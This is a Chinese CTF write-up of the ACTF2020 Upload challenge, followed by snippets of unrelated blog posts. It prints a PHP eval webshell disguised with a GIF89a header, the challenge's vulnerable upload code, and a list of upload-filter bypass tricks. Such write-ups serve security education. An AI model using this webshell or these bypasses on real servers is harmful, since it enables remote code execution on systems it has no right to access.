[BUUOJ记录] [ACTF2020 新生赛]Upload

//简单的上传题,考察绕过前端Js验证,phtml拓展名的应用

打开题目点亮小灯泡后可以看到一个上传点

传一个php测试一下:

发现有文件拓展名检查,F12发现是Js前端验证:

审查元素直接删掉,继续上传PHP文件测试:

发现还是被过滤了,应该是后端还有一次验证,换成phtml文件测试,phtml文件代码如下:

GIF89a  //习惯在文件前加上GIF89a来绕过PHP getimagesize的检查,这道题中有无皆可
<script language=‘php‘>@eval($_POST[‘ye‘]);</script>
<script language=‘php‘>system(‘cat /flag‘);</script>

再次上传:

上传成功,获得Flag

做完之后还在想是不是也可以通过其他拓展名来绕过,Shell连上之后看了下源代码和.htaccess文件发现这道题就是考察phtml的

上传点的源码如下:

<?php
    error_reporting(0);
    //设置上传目录
    define("UPLOAD_PATH", "./uplo4d");
    $msg = "Upload Success!";
    if (isset($_POST[‘submit‘])) {
        $temp_file = $_FILES[‘upload_file‘][‘tmp_name‘];
        $file_name = $_FILES[‘upload_file‘][‘name‘];
        $ext = pathinfo($file_name,PATHINFO_EXTENSION);
        if(in_array($ext, [‘php‘, ‘php3‘, ‘php4‘, ‘php5‘])) {   //这里不出所料,过滤了常见的php文件拓展名
            exit(‘nonono~ Bad file!‘);
        }

        $new_file_name = md5($file_name).".".$ext;
        $img_path = UPLOAD_PATH . ‘/‘ . $new_file_name;

        if (move_uploaded_file($temp_file, $img_path)){
            $is_upload = true;
        } else {
            $msg = ‘Upload Failed!‘;
        }
        echo ‘<div style="color:#F00">‘.$msg." Look here~ ".$img_path."</div>";
    }

?>

再看看.htaccess文件:

<FilesMatch \.phtml$>
    SetHandler application/x-httpd-php
</FilesMatch>

最后总结一下CTF文件上传题中常用的php拓展名:

  • 利用中间件解析漏洞绕过检查,实战常用
  • 上传.user.ini或.htaccess将合法拓展名文件当作php文件解析
  • %00截断绕过
  • php3文件
  • php4文件
  • php5文件
  • php7文件
  • phtml文件
  • phps文件
  • pht文件

晚点写一篇文件上传漏洞的总结吧,就这样,啥也不是。

原文地址:https://www.cnblogs.com/yesec/p/12403922.html

时间: 2024-11-14 12:41:53

[BUUOJ记录] [ACTF2020 新生赛]Upload的相关文章

哈理工新生赛热身赛解题报告

本次热身赛6道题目,由于没有官方解题报告,自己写了一个山寨版的解题报告,希望对学弟学妹有所帮助 期中两到签到题该校OJ上没有挂出,我在田大神的帮助下a掉了其它四题,解题报告如下所示 线段 Time Limit: 1000 MS Memory Limit: 32768 K Total Submit: 10(6 users) Total Accepted: 7(6 users) Rating:  Special Judge: No Description 坐标轴上有一些点,依次给出.点与点之间要求用

记TJPUのACM新生赛——Stay young, stay simple

刚看完国家德比来写点什么吧...话说比赛挺无聊,光头也真是命硬. 2016-12-3,12:00-17:00,TJPUのACM新生赛如期举行. 总体来说这次比赛体验还是比我第一次进行5小时比赛的浙江理工大学新生邀请赛要舒服的多(那次浙理工OJ直接爆了...) 然后凭着运气好和各位大佬的不杀之恩混到了第一... 比赛情况大概是上面图片那样,其实写出的题都挺水的,后面的DFS.BFS以及贪心什么的我都没多想...反正不会写. 唯一值得记录的大概是D题,HDOJ上有(5979),是2016ACM/IC

[BUUOJ记录] [GYCTF]EasyThinking

主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirmap扫出来www.zip源码泄露: 下载下来看一下源码目录: 很明显的ThinkPHP框架,让网页随便报个错看看版本: 发现版本为6.0.0,一般线上CTF题目中出现ThinkPHP这种框架时,多是考察近期该框架爆出的通用漏洞,像是XCTF外卡赛“高校战‘疫’”的PHP-UAF便是考察了一个PHP近期

ZSC新生赛 沼跃鱼早已看穿了一切

Description 沼跃鱼打开密码门后发现门后是一个像迷宫一样的房间,墙上的指示牌写着:房间内某处有一宝箱,但是宝箱被上锁了,钥匙在这个房间的某个角落.沼泽鱼对宝箱里有什么很感兴趣,但它必须先去拿到钥匙才可以打开宝箱.然而沼跃鱼早已看穿了一切,它看清了这个房间的布局,现在给出房间的布局图,问沼跃鱼拿到钥匙并打开宝箱最少需要走多少步.沼跃鱼每次只能向上.下.左.右中其中一个方向走一步,但若那个位置是墙时则不能往那个位置走(显然,沼跃鱼不能穿墙). Input 输入的第一行是一个整数T(0<T<

SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告

题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? 这题是一道很很很简单的DP题,但可能之前没接触过的同学需要一点脑能量去思考..如果用最蠢的办法,循环枚举每种选择,求出最大值的话,由于你总共需要往右走$N-1$次,往下走$N-1$次,路径总长度为$2N-2$,根据组合数学,总共有$C_{2N-2}^{N-1}$种走法,想想$C_{1998}^{999}$会是一个多么可怕的数字

(最短路)17bupt新生赛——F. ch追妹

F. ch追妹 2017新生赛 时间限制 2000 ms 内存限制 65536 KB 题目描述 n个点的一张无向图,每条边长度为wi,ch站在a点,ch要追的妹子站在b点.ch可以使用一次膜法,将一条边的长度变为0.ch想知道他要追到妹子要走的最短路径. 输入格式 第一行为数据组数T(T≤10).每组数据的第一行为四个数 n,m,a,b(1≤a,b≤n≤10000,1≤m≤50000),分别表示点数,边数,ch的位置,妹子的位置.之后m行,每行为三个数 u,v,w(1≤u,v≤n;1≤w≤100

(dp)17bupt新生赛——B. Hmz 的女装

B. Hmz 的女装 2017新生赛 时间限制 1000 ms 内存限制 65536 KB 题目描述 Hmz为了女装,想给自己做一个长度为n的花环.现在有k种花可以选取,且花环上相邻花的种类不能相同.Hmz想知道,如果他要求第l朵花和第r朵花颜色相同,做花环的方案数是多少.这个答案可能会很大,你只要输出答案对109+7取模的结果即可. 输入格式 第一行三个整数n,m,k(1≤n≤100000,1≤m≤100000,1≤k≤100000)接下来m行,每行两个整数l,r,表示要求第l朵花和第r朵花颜

ZSC新生赛 聪明的员工

聪明的员工 Time Limit: 1 Sec  Memory Limit: 128 MBSubmit: 481  Solved: 219[Submit][Status][Web Board] Description 小新是一家公司的员工,每个员工都有一个编号.每天上班时,老板都让员工排成一个队伍.但是,每次老板都对队伍的顺序不满意,于是老板重新编排新的队伍顺序,然后让员工按顺序排好.老板有特别要求,队伍每次只能将其中一个人移动到队头.聪明的小新很快想到最少移动次数使得队伍的顺序跟老板指定的顺序

广东工业大学2015新生赛round2(//自己脑洞堵了,madan!)

Path:新生赛 A.Number Sequence Description: A number sequence is defined as follows: f(1) = 1, f(2) = 1, f(n) = (A * f(n - 1) + B * f(n - 2)) mod 7. Given A, B, and n, you are to calculate the value of f(n). Analyse: 自动找周期法. CODE: int main() { int a,b,n;